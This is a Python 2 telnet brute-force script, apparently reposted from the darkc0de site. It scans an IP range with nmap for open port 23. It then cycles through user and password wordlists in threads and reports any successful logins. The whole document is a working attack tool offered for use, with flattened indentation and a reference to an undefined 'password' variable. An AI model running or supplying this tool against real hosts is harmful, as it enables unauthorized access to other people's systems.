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Eric

telnet bruteforce

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#!usr/bin/python
#Telnet Brute Forcer, searches ip_range for hosts using telnet.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, telnetlib, re
from copy import copy

if len(sys.argv) !=4:
print "Usage: ./telnetbrute.py <ip_range> <userlist> <wordlist>"
sys.exit(1)

try:
users = open(sys.argv[2], "r").readlines()
except(IOError):
print "Error: Check your userlist path\n"
sys.exit(1)

try:
words = open(sys.argv[3], "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)

print "\n\t d3hydr8[at]gmail[dot]com telnetBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

iprange = sys.argv[1]
ip_list = []

nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 23 | grep open -B 3')[1]).readlines()

for tmp in nmap:
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
if ipaddr:
ip_list.append(ipaddr[0])
return ip_list

def reloader():
for word in wordlist:
words.append(word)

def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])

else:
reloader()
value = random.sample(words, 1)

lock.release()
return value[0][:-1]

class Workhorse(threading.Thread):

def run(self):
value = getword()
try:
print "-"*12
print "User:",user[:-1],"Password:",value
tn = telnetlib.Telnet(ip)
tn.read_until("login: ")
tn.write(user[:-1] + "\n")
if password:
tn.read_until("Password: ")
tn.write(value + "\n")
tn.write("ls\n")
tn.write("exit\n")
print tn.read_all()
print "\t\nLogin successful:",value, user[:-1]
tn.close()
work.join()
sys.exit(2)
except:
pass

ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
print "\n\tAttempting BruteForce:",ip,"\n"
for user in users:
for i in range(len(words)):
if i == 0: reloader()
work = Workhorse()
work.start()
time.sleep(1)

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